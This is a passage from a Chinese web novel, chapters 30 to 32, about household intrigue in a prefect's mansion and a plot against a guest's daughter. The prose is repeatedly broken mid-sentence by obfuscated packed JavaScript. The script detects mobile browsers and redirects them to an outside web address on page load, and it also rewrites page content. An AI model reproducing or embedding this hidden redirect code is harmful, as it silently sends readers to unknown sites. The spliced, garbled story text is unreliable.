刘母半信半疑地上下打量着儿子，冷哼道：“有这样的人，能看上你？” 刘从裕得意一笑，道：“咱家的奴才还敢瞧不上主子？” 刘母眼底的疑惑更重了，道：“家里的人？莫非，你媳妇儿跟前的春雪？” 刘从裕听了这话，脑中不禁闪过春雪素日服侍郭氏的乖觉恭顺，不免又心猿意马起来，心有所想，脸上或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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二人挽着手，七拐八绕地，到了一处堆放杂物的阁楼墙角处，木槿才笑着说道：“上次的事，她们都要亲自去谢你，但虑着你在里头行事多有不便，她们若上门去，怕反倒给你添麻烦，故都托我转致谢意。我也是一直没寻着机会单独见你，偏偏今儿我又没把谢礼带在身上，只能改日，你得了闲再去寻我了。” 春雪淡淡一笑，摇头叹道：“什么谢不谢的，我也不全是为了她们。黄三儿这人，留在府里终究是个祸害，我也是怕有朝一日他……，你不知，二夫人最先打的主意是……，罢了，不提也罢，如今我也能安心些。” “至于谢礼，我本就是看着你的份上，她们谢不谢不打紧，你记着就行。若他日我遇到事，你和她们能记着今日之事，设法帮我一二，便是还我了。” 木槿一听这话大有文章，忙问道：“怎么了？可是二夫人那日丢了颜面，又冲你们撒气了？二夫人也真是的，本不与她相干，若不是她自己有心，怎会被人愚弄？她对你做什么了？你悄悄与我说，我好叫老夫人知道。” 春雪依旧摇头苦笑，末了怅然一叹，道：“眼下无事，如今二房内，她能倚重之人极少，暂时不会对我做什么的。只是，跟着这样的主子，日后她翻脸无情时，我还不知是个什么下场！我不像你们，有旁人可以依靠，我是二夫人的陪嫁丫鬟，生死都在二房的主子手里，若有那么一日……” 春雪想着郭氏及刘从裕二人的阴毒，念及自己将来之事，愈觉惶恐不安。 木槿也深知那夫妇二人不是宽厚待下之人，见春雪面上的凄惶之色愈重，忙安慰道：“你放心，我和她二人都不是忘恩负义之人，府里也不是二房一手遮天，你若是遇到难事，只管来寻我。” 春雪难得说一回心事，二人又推心置腹一番深谈，直至听见人声渐近，才各自散开。 30. 第三十章 和熙堂的西屋，刘从绥不解地看着姐姐。 方才，她二人才回来，刘从绵就发现自己的香囊不见了。 凝晖轩那事之后，刺史府内的女眷虽嘴上不说，但对随身佩戴之物明显更仔细了。刘从绵略一思索，就猜那香囊十有八九是方才玩闹时不小心掉在东暖阁了。此时虽说只有二堂兄在，但二堂兄的声名，实是一言难尽！ 刘从绵可不敢冒这个险，她对妹妹比了个噤声的手势，就提步悄声去了东屋。 守在东暖阁门口的丫鬟，见八姑娘去而复返，又见她连连摆手、蹑手蹑脚地往里面走，众人虽有些疑惑，但也不敢阻拦，毕竟八姑娘虽只是族亲，但也是和熙堂的常客，众人只由着她悄声滑了进去。不过片刻功夫，又见八姑娘全须全尾地溜了出来，除了脸色苍白些，并无异样，众人更不以为意了，直至后来听到里头骂人的动静，此是后话。 刘从绥所见，便是姐姐紧张地去了东屋，又一脸惊惶地小跑回来，一进屋也不说话，只抚着胸口喘息不定，那手上还攥着找到的香囊。不多时，就听东屋传出动静，姐姐忙奔至窗前，将窗户推开了一道小缝。 刘从绥忍不住也跟着扒在窗户边上往外瞧，只见两人搀着二堂兄往外走，她不由地嘀咕：“咦？二堂兄方才进去时还神采奕奕的，怎这会儿像个软脚虾？” “闭嘴！”刘从绵转过脸，瞪了妹妹一眼。 刘从绥不服气地翻了一个白眼，道：“阿姐，你是不是中邪了？方才回来面白如纸，现在又凶巴巴的？唔，二堂兄也奇怪，莫非是他中邪了，你撞见了？” 刘从绵忆及自己适才听到的只言片语，对着妹妹叹了一口气，把人一抓，提到对面榻上坐下，正言厉色，道：“你听着，不许对旁人提起我过去找香囊之事，也不许议论二堂兄今日之事，尤其是对木槿。知道吗？” 刘从绥更不满了，嘟着嘴，嚷道：“有什么不能对木槿姐姐说的？咱们住在这儿，能舒舒服服的，不就多亏了木槿姐姐的照拂？况且，这么多人这么多双眼睛呢，我不说旁人还能不说吗？这又不是什么天大的秘密！” “虽说我们都姓刘，但是伯娘终究是伯娘，不是你我的阿娘，堂兄堂兄，兄的前面还有个堂字，你我在刺史府终究是客，做客之道，非礼勿视、非礼勿言，你不知道？”刘从绵一脸严肃，见妹妹张口还要再说，忙补了一句，“你若不听我的话，我这就派人传信给祖父，接咱们家去！” “每次都是这句！”刘从绥咕嚷道，但见姐姐神色不似作伪，只得点头应下。 木槿送客回来时，就只听小丫鬟们给她传话，道是二爷又惹了老夫人不开心，以及晚间去请两位姑娘用膳时，刘从绥的眼神有些躲闪，其余并无异样，是以这日在木槿看来只是平平无奇的一日，并未引起她的一丝警觉。 在一日临近一日的年关中，刺史府的主子们可以心思各异，各自拨弄着心里的小算盘，底下众人却是片刻不得安歇。莫说最会偷懒的秦秋，就连她那已经当上管事的爹娘，在除夕前后的关口，也不敢有丝毫懈怠。 底下人的忙碌，造就了刺史府面上一日更甚一日的喜庆祥和。在一片笑语欢腾中，元贞十二年的更岁交子鞭炮声响彻了朗州城的大街小巷。 从初一到初五，刺史府门前真是人来人往、车马簇簇，刘母只管带着刘八、刘九和郭云喧等宴客玩耍，郭云静和裴明霜则是忙着打点收礼造册、回礼排席等事，底下众人更是忙得脚不沾地，生火造饭、端茶递水、迎来送往…… 刺史府发出去的帖子是正月初七、初八两日请年酒，是以到了初六这日，除了本族几个至亲依旧留在府内，以便明日帮着待客，朗州城内的大小官吏都极其有眼色地不来打扰主家。 这日，除了厨房众人依旧忙个不停，其余各院当差的奴仆，总算能缓上半日喘口气。 初六这日一大早，刘从俭极为体贴地领着尉迟六郎出城闲逛了，出门前还撂下话，道是今日要带远客领略朗州城的年节土俗，不必为他二人留饭了。刺史大人此话一出，凝晖轩众人心头一阵雀跃欢呼。 等人一走，秦秋等人便不约而同地回了屋子，连日的忙碌真是人人力倦、个个神疲，好不容易得了今日的空闲，有家的不想回家，没家的也不想访友，各个四仰八叉地躺倒在炕上。好在近日拨给各院的炭火充足，连后罩房的每间屋子都烧上了两个炭盆，众人这般和衣躺在炕上，也不觉寒冷。 鹊儿又跑来了秦秋这边，三人并肩躺着，有一搭没一搭地扯着闲话。 只听鹊儿掰手叹道：“以前只觉得二爷生得俊朗，可昨日我在前院传菜，又远远地瞧了尉迟郎君一眼，乖乖，二爷站在他身边，真是黯然失色！怎么说呢，二爷的眉眼还是以前的眉眼，就是，就是……” 鹊儿睁着眼睛盯着房梁，苦苦思索着该怎么表述自己内心所想。 秦秋见她想了半日也没“就是”出来，笑着接道：“就是空有皮囊，毫无气韵。” “对对对，就是这样！明明五官还是俊朗的，单看不显，但是往咱们大人和尉迟郎君身边一站，就显得特别，特别……”鹊儿转头看向秦秋。 “特别萎靡？” “对对对！” 一直在旁闭目养神的青梧闻言轻嗤一声，讥诮地说道：“这就叫做虚有其表，酒囊饭袋。” “青梧姐姐，你小声些！”鹊儿忙轻声提醒。 秦秋眸中一闪，刘从裕早些年打青梧主意的事她也略有耳闻，如今想来，大夫人确是良善之辈，没有趁机将青梧送进火坑，如今回想起来，青梧即使脾气再冲，但私底下从未说过一句大夫人的不是。 秦秋又想到郭氏那日在眠鹤院的嘴脸，那真是恨不得将她们这些人永世踩在脚下。唉，所以说，运气这种事不可靠，摊上二夫人管家，那真是命如草芥，不知道哪天就被二夫人折了，灰都不剩一把！她真的得想法子立功赎身！可是大人最近好像很清闲，没什么需要发挥她用处的地方…… 秦秋兀自想着心事，鹊儿连唤她好几声都没听见，直至她左右两侧的人同时伸手去推她。 “怎么了？推我作甚？” 青梧扫她一眼，道：“你又在想什么呢？这些日子常常走神，这可不像你，往日你最是使力不使心的，唔，不对，连力也不怎么使。” 青梧话音刚落，鹊儿忍不住笑了，笑了一阵才点头附和：“对的对的，青梧姐姐这么一说，我也发现了。秦秋姐姐，你怎么了？” 秦秋忙呵呵笑了两声掩饰过去，道：“想着家里的事罢了。对了，刚才说到哪儿了？” 鹊儿忙翻身坐起，一脸神秘地将脸凑到二人近前，才低声说：“我听说，二夫人想跟吴家结亲呢。” 二人一愣，秦秋哭笑不得，亦低声问道：“你这又是打哪儿听来的消息？奇了怪了，这些日子咱们都是一样的忙碌，你又是几时去跟二门上的婆子厮混的？” 青梧闻言亦是轻笑出声。 鹊儿见二人不信，急了，又道：“你们别不信啊，凝曦院当差的婆子说，吴家送给二房的礼可厚了，尽是奇珍异宝，二夫人笑得都合不拢嘴！还有啊，初四那日，吴家不是来拜年吗，你们不是也都在和熙堂当差吗，难道没见着吴夫人拉着郭二姑娘的那副稀罕模样，恨不能立时就将郭二姑娘拉回家去呢！” 秦秋垂眸回想片刻，好像真有那么一回事。 青梧皱着眉头，脸上尽是嫌恶之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘从裕沉着脸在一旁的圆桌前坐下，丫鬟忙捧上热茶，他看也不看，只把手一挥，冷声说道：“你们都下去。” 那两个捶腿的丫鬟停下手中动作，去看郭云静的脸色，见郭云静不发话，又忙去看春雪。春雪心下直叹气，大过年的，也不知是谁惹了这位祖宗，这两口子别又拿她们这些人撒气。 刘从裕这番动作，搅得郭云静面上亦搁不住，脸色跟着沉了下来。 春雪见状不好，本就蹲着的身体又矮了三分，温声说道：“二夫人挑了这半日，想必也累了，先前吩咐小厨房炖了金丝燕窝羹，不如婢子下去看看可炖好了？” 郭云静这才点点头，道：“你们下去吧。” 两个捶腿的小丫鬟忙起身，跟着春雪一块儿疾步退了出去。 刘从裕将这些动静都看在眼里，冷哼道：“呵，好，这府里越发没人把我当回事了！” 郭云静听了这话也动了气，躺在榻上懒怠动弹，只睨他一眼，冷笑着说：“二爷这是在哪儿吃了枪药？大正月的，在哪儿受了气就上哪儿撒去，别来冲我嚷嚷！” 刘从裕不答话，只冷笑数声，一双风流桃花眼直勾勾地盯着郭云静，直看得郭云静心底发怵，她不禁坐直了身子，刚问出了一声“你”—— 就见刘从裕换了脸色，面上勾出一个笑，眼里却透出一股阴狠，声音轻柔却让郭云静不由自主地打了一个寒颤：“我的老娘偏心就算了，我的兄长对旁人，也比对我这个亲弟弟要好多了，就连府里的丫鬟也看不上我，还有你那好妹妹，对着旁人比对我恭敬多了！呵，一个两个都这样，我就要让他们好生瞧瞧，瞧瞧我刘二爷的手段！” 31. 第三十一章 郭云静心底尚存一线亲情，她惊疑不定地看着眼前人，嗓子发紧，道：“你，你究竟怎么了？我妹妹？我不是早与你说过，她性情古怪，她也未必是针对你，她对谁都那样。你，你待如何？” 刘从裕不答，只冷笑一声，反问道：“与吴家的亲事你和岳母考虑得如何了？” 郭云静心头微颤，喉间痒意更甚，她轻咳两声，才道：“初四那日，吴夫人到府上拜年，她走之后，我与我娘略提了提，她几句话混过去了。”说完，她小心觑了一眼对面之人，果然那张俊脸瞬间又黑了。 郭云静莫名有些心慌，她飞快地扯出一个笑来，又道：“议亲嘛，向来如此，哪有一蹴而就的？细细算来，她们来朗州还不到一个月。如今贸然提起亲事，我娘自然是有些怔愣的。待我再慢慢地给她透出吴家的底细和吴四郎的人品，想来在益州是找不出这么好的亲事的。”说完，她掩袖轻笑，不忘抬眼打量丈夫的神色。 刘从裕听了这话，露出一个似笑非笑的神情，忽然起身走到榻前，挨着郭氏坐下，弯着嘴角，道：“夫人可要好生筹谋！这事若成了，对岳母、对二妹妹、对你我，都只有好处！吴四郎说了，可备下了大礼谢夫人！” 郭云静回以一笑，道：“我有些好奇，为何你如此看好这吴四郎？他头上可有三个兄长，他们家那点底子，日后分家，吴四郎能捞着什么？再说了，他爹不过是个五品的武散官，比咱们家的世袭刺史可差远了，等他老子一死，朗州城内，恐怕他们连中等人家都挤不上！” “我这妹妹，不是我说大话，这般品貌，做个王妃也使得！你可别让我白折了一个妹妹！”郭云静这话三分假意，七分试探，一双眼睛满是探究，等着丈夫的回复。 刘从裕嘴角轻勾，笑得有几分邪性，郭氏对上那笑，自己先撑不住，想起身离了这睡榻，刘从裕却猛地伸手一拉，将她扯落进怀里，却不再看她，只把双眼投向窗外，幽幽说道：“吴四郎的大礼可不轻，说不得以后这世袭的爵位就是凝曦院的了！若是送你一个四品的诰命，你说你舍个异母的妹妹，值不值？” 这话大有深意，郭云静听得心惊，她猛地抬眼去看丈夫，轻呼出口：“你——” “嘘！”刘从裕低头，伸出一指压在她唇上，道，“大正月的，咱们别说咒兄长的话了，等过了年，你就知道了！” 清渊阁内，郭母担忧地看着女儿，叹道：“方才在园子里，你委实不该那般与你姐夫说话的。” “哼！难道他就应当那般轻浮地与我说话？他既不敬母亲是长辈，不重我是妻妹，我又何必以礼相待？”郭云喧满不在乎地答道，扭头就去逗猫。 郭母满面愁容地扶着椅子坐下，寄竹端来两盏热茶。 郭云喧捉了白猫入怀，见母亲这般，只好安慰道：“娘，大正月里，不兴愁眉叹气的！你若想训我两句，只管训，我听着便是。” 郭母爱怜地看她一眼，复又摇头叹气：“我训你作甚？你说的没错，我只是恨自己无能，若是能凭一己之力庇护你，咱们也不用寄人篱下了。唉，既养出了你这般性子，又想叫你委曲求全，要说错，也是我的错。” 寄竹噗嗤笑出声来，走到郭母身后，为她轻捏着双肩，凑趣说道：“瞧瞧，咱们夫人嘴上说着不生气，可字字句句都在拿刀子戳姑娘呢，姑娘气人的功夫师承何处，这不，显而易见了。” “呸！你也是越发坏了，都打趣起我来了，真是谁的丫鬟像谁！”郭母扭头瞪了寄竹一眼，笑骂两句，笑完又想起心事，见眼下屋内只她们主仆三人，便对着郭云喧说道，“你觉着吴家……” 一语未了，郭云喧脸上已露出鄙夷之色。 郭母忙道：“你姐姐前日与我提了一嘴，我看那位吴夫人对你也颇是喜爱，听闻吴家的家世也过得去，若是你也嫁在朗州，倒是能和你姐姐彼此有个照应。” 郭云喧目露嘲讽、眼含讥诮，道：“阿娘这话不对，若是图照应，我应当想法子拢住这府里老夫人的心，若是嫁给那位刘刺史做续弦，跟我姐姐岂不是更有照应？” “你，你！”郭母气急，剜了她一眼，道，“我这不是问你的意思吗？我又没应下，现下不是与你商量吗？你少跟我阴阳怪气的！”说完，也赌气地别过脸，不再看她。 郭云喧自悔失言，忙把怀里的白猫朝地上一放，自己起身走过去，蹲在郭母膝前，连声赔不是，软语撒娇哄了一通，才让郭母重新开颜。 寄竹忙劝二人喝茶，一盏茶过后，郭母才又叹道：“我心里自是拒绝的，单听说那人与你姐夫交好，我便信不过。只是如今咱们寄居在此，若是他们执意要结这门亲事，咱们可怎生是好？” 郭云喧挑眉，道：“怎生是好？离了这儿便是。” “可……”郭母看着女儿，欲言又止。 “可是什么？可是益州有狼，朗州有狈？天下之大，也不是只有这两处可以安身！娘不必担心，我自有主意。”郭云喧气定神闲地一笑。 郭母见那笑里还透着三分狡黠，眼底的疑虑更重了，道：“你有何主意？咱们孤儿寡母，能谋生的路子本就有限。你若生得像钟馗倒也罢了，咱们娘儿俩租间铺子，不拘做些什么小买卖都能过活，偏你生得——唉！” 郭母一席话，郭云喧听了尚可，寄住率先忍不住，“哎哟”一声捂着肚子笑弯了腰，一面笑一面说：“咱们夫人这话倒也稀奇，世人大都望着儿女有副好相貌，夫人却盼着咱们姑娘像钟馗，哈哈哈！” 寄竹这么一说，郭母也撑不住笑了，只笑着笑着，眼里又溢出两滴泪，她忙拂袖拭去。 郭云喧看在眼里，知晓母亲的担忧，既心酸又好笑，忙将心里藏着的事吐了出来：“娘可还记得谢夫子？”见母亲点头，她方继续说下去—— “咱们离开益州之前，我曾给谢夫子去信，言明来朗州避祸小住之事。腊月二十八那日，门房传了一封信进来，正是夫子的回信。夫子说，陛下又点了秦大人为今岁的黜陟使，年后将巡视江南西道，届时会路过朗州，邀我一叙。” “当真？”郭母这下是真的转忧为喜了。 郭云喧笑着点头，道：“千真万确。我听闻夫子与卢家商行的大掌柜有旧，卢家商行的生意遍及江南，我那时，给夫子去信，本是想厚着脸皮求夫子为我在卢家荐一份差事，若能在卢家做事，我们自是不必担心被人欺于暗室，却不想有此意外之喜！夫子说了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786654|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等她与秦大人到朗州时，与我面议。” 郭母彻底放心了，心里着实欢喜，双手合十直念了好几声“佛祖保佑”。 屋内三人俱都笑了。 寄竹笑说道：“姑娘，何不求谢夫子荐你去秦将军麾下做事？那样岂不更好？听闻秦将军是官拜二品的镇军大将军呢，比秦大人还要官高，比她师傅还要厉害！若是姑娘能在秦将军麾下谋一份差事，那多威风啊！”说完，眼巴巴地看向郭云喧。 郭云喧莞尔，摇晃着脑袋，佯叹道：“这，也未可知啊！只是，你不是昨日才跟我说，外书房当差那个小厮怪俊的，我还打算年后将你许配给他，若是这样，即便我谋了威风的差事，你也不能跟着去了！唉——” 寄竹被逗得面红耳赤，伸手与郭云喧拧作一团，郭母在一旁止不住地笑着颔首，心道，这般，她对刺史府明日的年宴，和接下来的日子，就不用再悬着心了。 正月初七，刺史府请年酒的日子。女眷的宴席依旧是设在眠鹤院，只是刘母料定这日的女客人数更胜之前，便命郭氏派人将与眠鹤院相邻的燕语阁也洒扫干净，一齐待客。 凝晖轩的人依旧是早早地吃了饭，就到燕语阁侍立候命 此时才刚过辰正一刻，宾客未至，管事们也都到前院去了，丫鬟们见无人监管，不免都四下散开，三三两两地说着话。 秦秋偷偷藏了一个汤婆子在衣内，反正冬日穿得臃肿，旁人看不出来，趁着无人，她忙将汤婆子从怀里抠出来，抱在手上。 青梧惦记着郭云喧的事，不时往院门外张望，希冀着能“碰巧”说上两句话。 秦秋揣着汤婆子、缩着肩膀、站在背风处，见状劝道：“你别看了，过来躲躲风吧。这个时辰，郭二姑娘应还在和熙堂，跟老夫人一块用膳呢。” 青梧不甘心地跺了跺脚，才挪到秦秋旁边，二人挤作一团。 秦秋又环顾四周，道：“鹊儿那小鬼呢？” “去厨房了吧。”青梧没精打采地用脚尖抠着底下的水磨石砖。 她话音刚落，二人便听到一阵脚步声由远及近，一抬眼，就见鹊儿小跑着闯进燕语阁，四下张望着，待寻到她二人的身影，才“噔噔噔”地跑过来。 秦秋无奈地说道：“你慢些，这么着急忙慌地，当心一会儿被管事姑姑们见了，遭训斥。” 鹊儿在二人身前站定，喘着粗气，道：“还不是六婶吓唬我，说二夫人马上要去厨房检视，我若再不走，当心被二夫人抓了错处罚去二门外扫雪。” 等鹊儿喘匀了气息，她又神秘兮兮地说道：“你们猜，我方才回来时，遇见谁了？” 青梧没好气地白她一眼，道：“怎么？又撞邪了？” “青梧姐姐，你怎么这样呢！”鹊儿垮了脸，却仍是自顾自地往下说，“我方才一路跑回来，看到二爷领着两个人去了湖那边的莺舞榭。” 然后呢？秦秋和青梧齐齐露出一副“就这？然后怎样呢？”的表情。 鹊儿尴尬地挠挠头，道：“唔，就没了啊，我这不是赶着回来吗？我就是觉着有些奇怪，二爷这个时候不在前院招呼客人，怎想到去莺舞榭那么冷清的地方，没听说在那边设席呀。” 32. 第三十二章 莺舞榭内，吴四郎往阁楼的窗户上一扒，嚷道：“人呢？怎么没见着？不是说这儿视野最好吗？” 刘从裕随手递给他一壶酒，道：“你急什么！人还没出来呢。我一会儿要去前院招呼宾客，这儿都已安排妥当了，你自己在这吃着喝着，且等着吧。”说完，撤身就要离去。 吴四郎眼珠一转，抓住刘从裕的手臂，低声道：“你真不打算用我的法子？” 刘从裕用力抽出自己的衣袖，冷笑道：“你的法子？我的妻妹在我府上中了迷药，迷迷糊糊没回离她更近的住所，反而来了此处，再被你趁人之危？你当我家是吃素的？药是怎么来的？又是何人所下？府里的下人都是吃干饭的？我家娘子掌家掌成这样？你轻薄良家女子，我兄长就这么放过你？” “嘿嘿，虽然漏洞百出，可是万无一失啊。”吴四郎一手摸着下巴，面上神情不堪入目。 “呵！万无一失？”刘从裕冷哼，“若是她奋力一击，不堪受辱将你杀了呢？我家兄长只怕会判你个罪有应得。” “这——” “你且安生在这等着吧，只要你那妹子依我说的做，我保管你做得成我妹夫！”刘从裕撂下这么一句，便头也不回地下楼走了。那两个小厮将酒食摆好，又将屋内四角都燃起炭盆，才悄无声息地退了出去。 吴四郎回窗户底下扒着，不多时，就见刘母身边珠围翠绕，被一众女眷簇拥着进了眠鹤院，又见裴氏引着各府娇客，一径分花拂柳进了燕语阁。他一时只觉眼花缭乱，恨不能多生两双眼睛。 裴明霜将这些未出阁的小娘子在燕语阁安置好，嘱咐了刘八、刘九几句，才又回了刘母那边。 等裴明霜一走，青梧便借着奉茶的功夫蹭去郭云喧身边。 “郭二姑娘安好。”青梧手上拎着空空如也的托盘，屈膝行礼。 郭云喧侧身微微一笑，道：“除夕那日你送来的裙子很合身，我还没谢你。这几日见你们忙碌，我也不扰你，等得了空儿，你只管去清渊阁找我，我备了谢礼给你。” 青梧赧然，低声说道：“姑娘于我有大恩，先前之事不怪罪我，我已感激不尽，当不起姑娘的谢礼。我这会儿来，也不是为讨赏的，只是想提醒姑娘当心。” 青梧说完，先扭头四下环顾，才又靠近一步，几乎是贴着郭云喧的耳朵，道：“姑娘记着，别去莺舞榭。” 郭云喧一愣，露出不解之色。 “只是猜测，姑娘若信我，记着便是。”青梧只来得及说上这一句，就被一席之隔的刘八叫走了。 “姑娘，青梧说什么？”寄竹心下好奇，俯身问道。 郭云喧心头仍在思索青梧的话，闻言只是摇头。莺舞榭？那是什么地方？听着像是个水榭，这大冷的天，她是疯了才会去水边。她倒不是怀疑青梧，只是这话没头没尾的，莫非有人要算计自己？ 郭云喧眸中精光一闪，她忙转头去寻青梧的身影，见青梧仍被刘从绵拉着吩咐事情，她又扭头去寻另一人。 秦秋刚为虞七娘奉上茶点，就察觉到一道打量的视线。她退到席后，小心翼翼地环视一圈，及至与郭云喧四目相撞，对方遥遥冲她颔首，而后又轻轻招手。 这都什么事啊，方才她就不该多话的！秦秋心下叹气。 原来，鹊儿一提莺舞榭，秦秋脑中就灵光一闪，联想到了三人昨日在房中所说之事。二房的人惯会使这些下作手段，坊间话本都是这么写的，若要强迫一个女子嫁人，坏她名声无非就是那些手段，什么贴身衣物、独家首饰、下药、落水……是以才有了刚才青梧出言提醒那一折。 秦秋犹自踌躇，郭云喧却是一直招手，她要是再不过去，两人就要惹眼了。 秦秋深吸一口气，回身取了一碟梅花酥，款步走向郭云喧，人到了近前，才笑着说道：“姑娘方才要的梅花酥，婢子险些忘了，还望姑娘勿怪。” 郭云喧颇觉好笑，这丫头怪谨慎的。她把头一点，温声道：“燕语阁可有更衣之所？” 唉，这是打定主意又要卷她进去了！秦秋心底长叹一声，无奈地答了一个“有的”。 郭云喧扶着寄竹的手起身，盈盈笑道：“那便劳烦你领我过去吧。” 三人这番动静自是无人在意，姑娘们面皮薄，托言更衣、实则如厕是常有的事。 只是虞七娘面有不虞之色，心道，那个丫鬟方才正给自己上茶果子，转头就被郭二叫走了，这个郭二怕不是故意的！ 吴十娘正和刘从绥说着话，见郭云喧起身，她倒是多看了几眼。 秦秋领着郭云喧主仆二人往燕语阁西厢后头一拐，就进了一个小屋子，她仍是装聋作哑，道：“姑娘，请。婢子去外间候着。” 郭云喧微哂，道：“我记得你叫秦秋，青梧的军师是你吧？上回眠鹤院，你，让我印象深刻，唔，若我没猜错，青梧向我求衣料，也是出自你的手笔？” 秦秋心头一惊，忙作出一副诚惶诚恐之相，屈膝就要下拜，道：“郭二姑娘——” “起来吧。”郭云喧抬手止住秦秋，道，“我虽是贵府二房的姻亲，但是为人处世不是一个路子，也不是要向你兴师问罪，我且问你，方才青梧与我说的话，究竟有何深意？” 秦秋只好无奈地叹了一口气，缓缓说道：“其实，我们也只是猜测。有人见着二爷领着人去了莺舞榭。今日宴席摆设，并无那处，且那儿是府里夏日纳凉避暑之所，寒冬腊月，等闲是不会有人想着去那儿的，更何况今天这种日子。” “今日，嗯，今日府中女眷众多，二爷素日交往的又多是朗州城内的浪荡子弟，是以，婢子们大胆猜测，或许那水榭中藏了奸人也未可知。”秦秋斟酌着措辞，关于吴家求亲那事，毕竟是鹊儿听来的，可不能当着正主的面点破，“唔，若是，若是有女眷不慎掉入湖中，莺舞榭再有人救了落水之人，那不就……”言下之意，不明而喻。 秦秋抬眼对上郭云喧，对方面色平静，无波无澜，秦秋硬着头皮说完：“戏班子都是这么演的。郭二姑娘是好人，帮过我们，是以，这虽是婢子们的猜测，我们也不想让姑娘冒险，这才斗胆提醒姑娘的。” 秦秋说完，寄竹倒吸好几口凉气，震惊得说不出话， “我这姐姐和姐夫，也是煞费苦心。”郭云喧垂眸哂笑数声，才看向秦秋，道，“多谢秦秋姑娘，你和青梧这份情，我记下了。” “姑娘言重。”秦秋忙摆手辞道。 “那便劳你在外面等候片刻。” 等秦秋退出去掩上门，寄竹才满眼心疼地看向自家姑娘，道：“姑娘放心，凭他们怎么算计，我们不去那儿便是。今日横竖不离开燕语阁，或者，一会儿姑娘就装病，咱们回清渊阁躲着。” “躲着？若是人都在此间，我们回清渊阁岂不是更危险？”郭云喧自嘲一笑。 “那，那，咱们就去眠鹤院，守在刘老夫人身边。” 郭云喧笑了，道：“躲得了初一，躲不了十五。你附耳过来。” 寄竹纳闷，屋里又没别人，守在门口的秦秋还是自己人，但还是依言将耳朵送到郭云喧面前。郭云喧笑着吩咐数语。 寄竹越听眼睛瞪得越大， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798432|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等郭云喧说完，她才结结巴巴地问道：“这……这……这会不会太冒险了？” 郭云喧睨着她，道：“你成不成？你若不成，我便托秦秋了。” 寄竹一听，这哪儿行呢，这事儿若是交给外人，还要她何用！她忙拍着胸脯，信誓旦旦地点头，道：“成！姑娘放心吧。” 等三人重新回到席上，朗州城内的小娘子俱已咸集在此，三五聚作一团，不过是讨论着谁家的首饰更精致、谁家的衣料更时新。 吴十娘见火候差不多了，便向刘从绥说道：“九姑娘，听闻府上有一片果园，一到这个时节就会结雨凇，红红的果子外面冻着一层冰挂，像糖葫芦，煞是好看，可是真的？”她的声音不高不低，恰到好处把屋内众人的目光都引了过去。 郭云喧垂眸端起茶盏，轻轻地吹去面上的浮沫，以盖住唇边的冷笑。寄竹藏在袖子里的手则是紧握成拳。果真是来了！ 刘从绥有些尴尬地笑了笑，她也不知道啊！她是客人啊！她只好求救地看向姐姐。刘从绵则冷静许多，只淡淡一笑，道：“雨凇在朗州城内也不是稀罕物，一到冬日，有树的地方都容易结雨凇。” “就是，说得好像谁没见过一样！瞧你那副田舍奴的样儿！”虞七娘冷哼一声。 这话极其尖酸，吴十娘登时红了脸，讷讷说道：“听闻刺史府上的格外好看，我只是好奇。让两位姐姐笑话了。”她本就生得单弱，现下再作出一脸瑟缩羞怯之色，倒显得虞七娘和刘从绵在欺负她了。 刘从绥于心不忍，忙说道：“红果子树的雨凇确实好看，你要是想看，我们叫个丫鬟领着去瞧一眼吧。反正这会儿离开席还早着呢。” 若不是此时人多，刘八真想把刘九提溜回去一顿好捶！ 刘九这话一出，旁边也有人出声附和：“既这样，我们也去瞧瞧吧，闷在这屋子里怪没意思的。” 吴十娘又怯生生地看向郭云喧的方向，娇娇柔柔地问道：“郭二娘子在益州见过雨凇吗？不如一同去看看吧？” 郭云喧将手里的茶盏往前面的几上重重一撂，发出一声不小的闷响，众人不禁微微蹙眉，颇觉此人粗野无礼。 郭云喧却是抬眼对着吴十娘嫣然一笑，道：“不了，我怕冷，不想到外面去。” 这笑太明媚晃眼，众人又不由暗叹，这位郭姑娘可真是好看呐！ 吴十娘咬着下唇，一副想与对方结交却被无情拒绝的可怜模样，虞七娘本看不惯她这样，但是她更不喜郭云喧，无他，郭云喧的美貌被她视作她嫁入刺史府的一大威胁，见郭云喧下了吴十的脸面，她又调转枪头，道：“郭二姑娘，我看你老是一人枯坐，也不与我们说话，也不与旁人同游，太孤僻了吧！” 郭云喧扫她一眼，点头道：“虞姑娘说的对，我确实孤僻。所以你们去吧，我不去。” 这？众人傻眼了，一时不知该怎么接话。 刘从绵忙说道：“郭姑娘说的在理，天寒地冻的，在屋子里多舒服。今日请了女先儿来说书，诸位略坐一会儿，我遣人去请她们过来。” 